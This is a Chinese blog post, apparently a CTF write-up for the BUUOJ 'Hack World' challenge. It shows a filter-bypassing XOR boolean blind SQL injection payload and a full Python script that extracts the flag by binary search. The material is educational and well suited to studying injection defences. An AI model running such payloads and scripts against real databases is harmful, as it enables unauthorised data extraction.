zoukankan      html  css  js  c++  java
  • BUUOJ | [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL布尔盲注)

    题目地址

    用浏览器连接靶机,看到以下页面

    右键查看源代码,发现上传用的是 post 请求,根据提示知道 flag 位于 flag 表中的 flag 字段里

    搜索框输入 1 或 2 会返回结果,其余返回 bool(false)

    尝试注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.

    是因为后端过滤了 union、and、or、空格等,包括 /**/

    输入 1/1 时会正常返回结果,可以判断这是数字型的sql注入,考虑布尔盲注

    思路比较简单,用 select 在数据库中提取 flag 各位字母,用二分法(比直接枚举快一点)逐位爆破

    sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)

    如果最外层括号(是否大于的判断表达式)值为 True,与 0 异或中仍为 True,反之为 False

    import requests
    url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
    flag = ''
    def check(payload):
        # print (payload)
        upload = { 'id' : payload }
        text = requests.post(url, data = upload).text
        if ('Hello') in text: # 表达式为真时会返回 id = 1 的结果
            return True
        return False
    for i in range(1,50):
        l = 0; r = 255; // [0,255] 所有 ASCALL 字符区间
        while (l<=r):
            mid = (l + r) >> 1
            sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一开始错了
            if (check(sql)):
                l = mid + 1
            else:
                r = mid - 1
        flag += chr(l)
        print (flag)
    
  • 相关阅读:
    mysql卸载
    Nginx配置Https(详细、完整)
    国产数据库
    win11系统安装全过程
    微星b460主板如何开启TPM2.0
    如何查看计算机是否开启TPM2.0
    c语言实现复制文件
    如何使用格式工厂把视频变小
    格式工厂合并视频和音频文件
    IDM下载B站视频多个文件,视频、音频分开如何处理
  • 原文地址:https://www.cnblogs.com/zhwer/p/13353995.html
Copyright © 2011-2022 走看看